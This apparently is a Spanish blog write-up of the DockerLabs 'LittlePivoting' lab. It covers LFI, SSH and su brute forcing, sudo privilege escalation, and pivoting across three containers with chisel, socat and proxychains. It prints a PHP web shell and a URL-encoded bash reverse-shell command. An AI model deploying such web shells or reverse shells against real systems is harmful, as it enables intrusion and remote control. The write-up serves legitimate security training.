Resolución del laboratorio LittlePivoting | DockerLaps.es | WriteUp

  

LittlePivoting




Que tal lord & lady


El laboratorio de hoy es un poco diferente, si, si hay maquinas para hacking aun que, hoy estaremos viendo un concepto nuevo para este blog, estamos hablando de pivoting en el contexto de pivotear o saltar entre maquinas entre sus diferentes interfaces de red de una maquina para poder llegar a otra.

Requisitos previos:

- Tener configurado al menos una virtual como Kali o Parrot (link aquí)


Write Up Laboratorio LittlePivotting #dockerlabs.es

Preparando laboratorio

Para poder desplegar nuestro laboratorio LittlePivoting tendremos que:

- Descargar el archivo de Mega en nuestra maquina Kali

- Ejecutar el siguiente comando:

$ sudo ./auto_deploy.sh inclusion.tar trust.tar upload.tar

Y solo hay que esperar a que se termine de desplegar con docker nuestro laboratorio.



Básicamente, esta pantalla en la terminal se quedará abierta mientras estamos trabajando/Hackeando.

Al final te debe quedar desplegado el laboratorio "LittlePivoting" de la siguiente manera:


Reconocimiento Inicial

En esta ocasión realizaremos un reconocimiento un poco diferente.

Dado a que comúnmente en un ambiente real habría que detectar las IPs de un target, vamos a visualizar rápidamente, dado al SUBNETIG.

Para ello vamos a utilizar Nmap para este reconocimiento:

Suponiendo que ya estamos en la red "victima", debemos saber cual es nuestra IP:

Ahora sabiendo nuestra IP se haya asignado automáticamente bajo un DHCP, vamos a escanear la red:

Bien, sabemos que la IP 10.10.10.1 es nuestra y que existe una maquina adicional, la 10.10.10.2.

Como estamos viendo un entorno más real, yo te recomendaría que utilices una herramienta como canvan para que puedas ir haciendo el mapeo de las maquinas:

Así que, comencemos nuestro pentesting sobre esta maquina


Enumeración [10.10.10.2]

Quick Scan:


Servicios y Versiones:


Tenemos 2 puertos


Puerto 22 - OpenSSH 9.2p1

OJO AQUI:

Dado a que tenemos una versión 9.2p1 recordemos que ahora tendríamos a disposición la vulnerabilidad de regreSSHion...

Vamos a ver si podemos explotarla:


Puerto 80 - Apache 2.4.57

Vamos a ver que hay en el puerto 80:

Whatweb:


Pues no se ve nada interesante, continuemos...


Sitio con el navegador:



Wappalizer:


Efectivamente, nada interesante por aquí...


Fuzzing:

Encontramos cositas, vamos a ver que hay dentro de shop:



¿Viste lo que yo vi?

Vamos a intentar jugar con el parámetro archivo en la url...

Señoras y señores tenemos un LFI (Local File Inclusion) utilizando "Path Traversal"...

Desde el archivo /etc/passwd, podríamos deducir que usuarios tenemos, en este caso 2 adicionales a root:

- seller

- manchi


Explotación [10.10.10.2] 

¿Que pudiéramos hacer desde aquí?

Tal ves se me ocurre, como tenemos SSH pudiéramos hacer fuerza bruta con Hydra, utilizando un diccionario como rockyou.txt

No te desesperes, toma su tiempo, esto dependerá de cuanto tengas tanto en memoria como núcleos de procesador asignados a la maquina de Kali...

- Usuario manchi:


Nos intentamos conectar a ssh:


Estamos dentro!


Post-Explotación [10.10.10.2]

Ya que estamos dentro, vamos a ver como escalar privilegios...

Una opción que es muy útil es ver si tenemos posibilidad de ejecutar comandos/binarios desde sudoers.


Permisos SUID (4000)


Desde aquí, no parece que haya algo que pudiéramos explotar...


BruteForce

Hay una herramienta que esta disponible en Github del usuario carlospolop la cual hace fuerza bruta a partir del cambio de usuario con el comando su y además hace uso de un diccionario.

Para esto hay que hacer 2 cosas:

1- Descargar el archivo suBF.sh

2- Tener un archivo tipo rockyou que nos permita usarse como diccionario.

Obteniendo archivo de Github:


Obteniendo un mini-rockyou:

En mi caso voy a intentar solamente con las primeras 1000 contraseñas de mi rockyou.txt.


Ahora lo descargo desde mi maquina victima:

Maquina atacante:

Maquina victima:

Hacemos la fuerza bruta:


Obtuvimos la contraseña de seller


Inmediatamente vemos que podemos ejecutar como ALL (incluso root) el binario /usr/bin/php

Según gtfobins podemos ejecutar el siguiente comando para poder escalar privilegios:

Intentamos con una ligera modificación...:

Somos root!


Y ahora que?

Bueno primero que nada yo actualizaría mi canvan para ver como es que voy con mi pentesting:



Continuamos revisando nuestra maquina victima Pwneada...


Interfaces de red

Como vemos, esta maquina la 10.10.10.2 cuenta con otra interfaz de red la cual tiene la IP 20.20.20.2

Si actualizamos nuestro mapa de la red, nos queda de la siguiente manera:

¿Qué que es lo que necesitamos hacer aquí?

En palabras simples, volver a empezar,

realizar ahora un reconocimiento, enumeración de los equipos que podamos encontrar, hacer explotación y post explotación.


Reconocimiento [Interfaz 20.20.20.2]

Aquí podemos realizarlo de forma manual, es decir, hacer un ejecutable en bashScripting que determine si hay maquinas conectadas en esta red.

Para ello podemos ejecutar algo muy simple:


Mandamos 1 ping hacia una IP que este dentro del segmento, por ejemplo 20.20.20.3 (1) además concatenamos doble ampersand (2) y le colocamos un echo con talvez un "OK".

Si al dar enter notamos y vemos que nos ha impreso el "OK" significa que la IP existe dentro de la red.

Esto sucede por que el doble ampersand (2) le indica que haga el comando siguiente, en nuestro caso el echo siempre y cuando el primer comando se ejecute correctamente, es así de simple.

Si por el contrario mando una IP que no exista, en este caso la 20.20.20.13 (4) pues no obtenemos respuesta y nos marca que los paquetes se han perdido en su totalidad (5).

Bien cuando menos hemos detectado otra IP dentro de este segmento, pero vamos a ver si podemos automatizar una salida completa en este segmento de IPs:


Te comparto el script para que lo puedas copiar:

#!/bin/bash

for host in $(seq 1 254); do

        timeout 1 bash -c "ping -c 1 20.20.20.$host &>/dev/null" && echo "[+] HOST - 20.20.20.$host is alive!" &

done; wait


Ejecutamos el script:


Vale, ahora sabemos que hay una IP adicional a la nuestra (victima 1) que es la 2, tenemos la 3.

Actualizamos nuestro mapa:


¿Y ahora qué?

Bueno, necesitamos hacer enumeración del sistema ahora de nuestra nueva maquina victima 20.20.20.2.

Para ello, existen al menos 3 formas (las que yo conozco) para hacerlo, una es de forma semi automatizada con la herramienta metasploit, otra es utilizar como tal SSH, ya que la tenemos instalada en la maquina victima, y la otra es hacerla de forma manual.

A mi me gusta mucho adentrarme de forma manual así que es la que nos vamos a configurar.

Para ello vamos hacer uso de la herramienta de chisel.

Maquina atacante:



Maquina victima:



Maquina atacante:

Iniciamos el servidor de chisel...



Maquina victima:

Conectamos con nuestro servidor de chisel desde la maquina victima como cliente:


Si vamos ahora a nuestra maquina atacante a revisar el servidor de chisel:


Tenemos un túnel desde nuestra maquina victima hacia nuestra maquina atacante.


Para poder interactuar correctamente con nuestra maquina victima, vamos a necesitar editar el archivo "/etc/proxychains4.conf" donde se hacen los siguientes ajustes:

- Descomentamos la línea: dynamic_chain

- Comentar la línea: #strict_chain

- Agregar la siguiente línea al final: socks5 127.0.0.1 1080

De esta manera podremos:

- Tener conexión directa utilizando proxychains.


Enumeración [Interfaz 20.20.20.3]

Quick scan + Servicios y versiones

Tenemos 2 puertos abiertos...

Puerto 22

OJO: por el momento voy a omitir el análisis de vulnerabilidades sobre este puerto ya que como vimos en el comentario anterior, pudiera ser vulnerable a regreSSHion. Continuaré el pentesting por la parte web.


Puerto 80

Whatweb:


Sitio web:

Para poder ver el sitio web, necesitamos configurar el proxy.

En mi caso ya tengo instalado FoxyProxy si no lo tienes instalado en tu Firefox, solo basta con instalar el componente:


Ahora si, vamos al sitio:

Wappalizer:



Fuzzing:

Ejecutamos fuzzing con gobuster obviamente optimizado para utilizar nuestro proxy de la configuración de proxychains:

Directorios:


Aquí no encontramos de momento nada relevante.


Archivos php, html, txt, etc:


Vamos al recurso:


Vamos a ver el código con Ctrl +U:

Pues nada!


Explotación [Interfaz 20.20.20.3]

Aquí algo valioso que tenemos es al usuario "mario"... pudiéramos intentar tal ves fuerza bruta.

Para ello vamos a utilizar, obviamente proxychains, la herramienta de hydra a través del servicio de ssh:


Vuala!


Entramos con el servicio de SSH:



Ahora vamos a actualizar nuestro canvan:



Post-Explotación [Interfaz 20.20.20.3]

Es momento de escalar privilegios:

A nivel de sudoers, podemos observar que podemos ejecutar como usuario ALL (todos, incluyendo root) el binario de vim...

Recurrimos a GTFOBINS como siempre, nuestro recurso de confianza para visualizar posibles vectores privesc:


Intentamos la opción (a):


Somos root!


Actualizamos nuestro canvan:


Ahora si, realizamos lo mismo, revisamos nuestra nueva maquina victima Pwneada...


Interfaces de red

Como vemos, esta maquina la 20.20.20.3 cuenta con otra interfaz de red la cual tiene la IP 30.30.30.2.

Si actualizamos nuestro mapa de la red, nos queda de la siguiente manera:


Bien, ¿Qué sigue?

Nuevamente, volvemos a empezar nuestro proceso de pentesting.


Reconocimiento [sobre 30.30.30.2]

Reutilizamos nuestro script en bash para poder realizar un reconocimiento de las posibles IPs del ahora nuevo segmento:


#!/bin/bash

for host in $(seq 1 254); do

        timeout 1 bash -c "ping -c 1 30.30.30.$host &>/dev/null" && echo "[+] HOST - 30.30.30.$host is alive!" &

done; wait


Ejecutamos:


No ha salido nada!

Y esto se debe a que no tenemos ping en la maquina victima 30.30.30.2.

Afortunadamente existe otra manera mandando el echo directamente a la IP, vamos a modificar un poco nuestro script en bash:


#!/bin/bash

for host in $(seq 1 254); do

        timeout 1 bash -c "echo '' > /dev/tcp/30.30.30.$host/80 &>/dev/null" && echo "[+] HOST - 30.30.30.$host" &

done; wait


Ejecutamos:

Recordemos que nosotros somos el 30.30.30.2 así que estaremos trabajando sobre la 30.30.30.3.

Actualizamos nuestro mapa en canvas para no perdernos:


Vamos ahora a traernos chisel y una nueva herramienta llamada socat.

Pero ¿Como lo mandamos?

Hay varias formas de mandarlo, pero vamos a ver con que contamos, por ejemplo quiero ver si la maquina 20.20.20.2 tiene scp:


Y si!

De esta manera podríamos transferir archivos atreves de ssh con SCP desde la maquina 20.20.20.2 a la 20.20.20.3:


Vamos a la maquina 20.20.20.3 (también la 30.30.30.2):


Ya contamos con chisel, ahora solo nos resta conectarnos al servidor que tenemos de chisel pero, PEEERO muy importante a través de socat.

¿Porqué con socat?

Lo que hace chisel en pocas palabras es crear un túnel de ciertos puertos o todos de la maquina cliente a la maquina servidor (es por eso que especificamos si es servidor o cliente en el comando de chisel).

Pero esto solo nos permite ir hacia adelante.

Con socat pasa lo contrario. Socat permite redirigir el trafico de una maquina y de un puerto especifico hacia otra maquina a otro puerto en especifico.

Lo se, parece un poco lioso y rebuscado, pero vamos hacer lo en la practica.

Mi maquina 10.10.10.2/20.20.20.2 la vamos a utilizar como puente con ambas herramientas, tanto como chisel como socat, así que lo primero que hay que tener es estos programas en esta maquina:


Por ahora solo cuento con chisel, vamos a descargarnos en nuestra maquina kali socat para poder transferirlo:

Maquina atacante:




Maquina victima (10.10.10.2/20.20.20.2):



Bien ya tenemos las herramientas en la primer maquina, ahora vamos a configurarlas.

Como queremos que la maquina 20.20.20.3/30.30.30.2 se conecte a nuestra maquina Kali, a través de la 10.10.10.2/20.20.20.2

Configuramos socat en la maquina ...10.2/...20.2:


Ahora, ¿Porque elegí el puerto 1234 de mi maquina Kali (10.10.10.1)?

Recordemos que como va a redirigir mi trafico del puerto 3001 hacia la maquina atacante por el puerto 1234, justo este es el puerto donde esta escuchando chisel server:


1- Puerto donde se esperan las conexiones de chisel client

2- Que por cierto, ya existe mi conexión de trafico de la primer maquina por el puerto 1080 de mi maquina de Kail.


Maquina ...20.3/...30.2:

Iniciamos chisel:

Pero ¿Qué IP le pongo en el cliente?

Bueno como ya tenemos socat en la maquina 10.2/20.2 que es quien va a redirigir el trafico a nuestra maquina de Kali (10.10.10.1), entonces solo nos resta conectarnos a la maquina mas próxima, que en nuestro caso es donde tenemos socat abierto:


Volvemos a nuestra maquina ...20.3/...30.2:

Aquí ejecutamos un poco diferente el comando para cliente de chisel, en el puerto R:socks le agregamos el puerto 1081, ¿por que? por que es el puerto default que en nuestro caso ya esta siendo usado por la primer maquina como cliente, si no, nos daría error.

Si vamos a la maquina atacante deberíamos ver una conexión nueva:


Ahora, en nuestro servidor debemos también ajustar el proxychains (archivo /etc/proxychains4.conf):


Recordemos que estamos haciendo una "cadena de conexión" por la que el túnel estará brincando:


Guardamos y ahora si estamos listos para seguir desde cero en nuestro pentesting ahora de la nueva maquina 20.3/30.2


Enumeración [30.30.30.3]

Quick scan + Servicios y versiones:



Tenemos 2 puertos...


Puerto 80 - Apache 2.4.57 (Debian)

Whatweb:



Sitio web:

Hay que configurar el proxy en el navegador, yo utilizaré FoxyProxy:


Elegimos este proxy y vamos a la sitio web:


Código (Ctrl + U):


De este lado no encontramos nada interesante...


Wappalizer:


Antes de querer hacer un fuzzing, me gustaría intentar subir un archivo php malicioso, ya que el sitio esta habilitado para hacerlo:


Te recuerdo que este es mi archivo malicioso:


<?php

        system($_GET['cmd']);

?>


Lo subo...


Parece ser que me dejó, pero ¿donde esta? creo que si haré al final un fuzzing...


Fuzzing

Directorios y archivos:


Encontramos la carpeta de uploads, tiene sentido que sea esta la carpeta:


Ingresamos e intentamos un famosisimo whoami:

Excelente, tenemos ejecución remota de comandos:


ReverseShell:

Ya estamos casi listos para poder obtener una reverseShell, pero justo para esto vamos a necesitar redirigir el trafico ahora, a través de 2 maquinas intermedias de nuestra victima y nuestra maquina de Kali 


¿Como realizamos esto? con socat.
Así que vamos a necesitar una nueva conexión para redirigir el trafico en la maquina 10.2/20.2 y un nueva conexión para redirigir el trafico en la 20.3/20.2:

OJO: para mi comodidad he utilizado el puerto 4431 en todos y cada uno de las re transferencias de trafico pero pudieran quedar a disposición de cada quien.

Maquina 10.2/20.2:

Nueva conexión por ssh:

Cambiando de usuario a seller:

Escalo privilegios nuevamente:

Ejecuto socat:



Maquina 20.3/30.2:

Nueva conexión por ssh + privilege escalation:


Paso socat desde 10.2/20.2 a 20.3/30.2 con scp:

Verifico que exista socat:



Ahora si, ejecuto socat:


Explotación [30.30.30.3]

Si todo ha ido bien, estamos listos para obtener una reverseShell a nuestra maquina de atacante.

Preparamos maquina atacante:


Recordemos que estaremos esperando conexión hacia nuestro puerto 4431:

En nuestra maquina 30.3, en el navegador ejecutamos:


http://30.30.30.3/uploads/cmd.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/30.30.30.2/4431%200%3E%261%22


Damos enter:

Si todo ha ido bien y las conexiones las tenemos correctamente configuradas, hemos obtenido una reverseShell en nuestra maquina de atacante, Kali:


Y estamos dentro!


Post-Explotación [30.30.30.3]

Full stty:



Vamos a buscar escalar privilegios:

Sudoers:


Parece ser que podemos ejecutar como root el binario /usr/bin/env,

Según gtfobins para poder escalar privilegios podríamos intentar lo siguiente:


Lo intentamos, obvio directamente con una bash para ver si la obtenemos:


Somos root!

Actualizamos nuestro mapa de canvas:



¿Otras interfaces?

Vamos a ver si aun continuaríamos haciendo pivoting, así que hay que revisar con cuantas interfaces cuenta esta maquina


Todo parece indicar que hemos llegado al final de esta red.


Conclusión

Para este punto hemos aprendido a como realizar un pentesting tradicional, las típicas herramientas como nmap, explotación de vulnerabilidades web además de como escala privilegios.

Adicionalmente aprendimos a como realizar pivoting manual utilizando herramientas como chisel y socat y con ello como tener configurado proxychains para poder continuar nuestro pentesting en las siguientes maquinas en la red brincando a través de diferentes interfaces de red de cada maquina comprometida.


Espero que este Writeup te haya gustado.

Si tienes algún comentario o duda, déjala para poder resolverla juntos.


Saludos y nos leemos en un siguiente Writeup.



Comentarios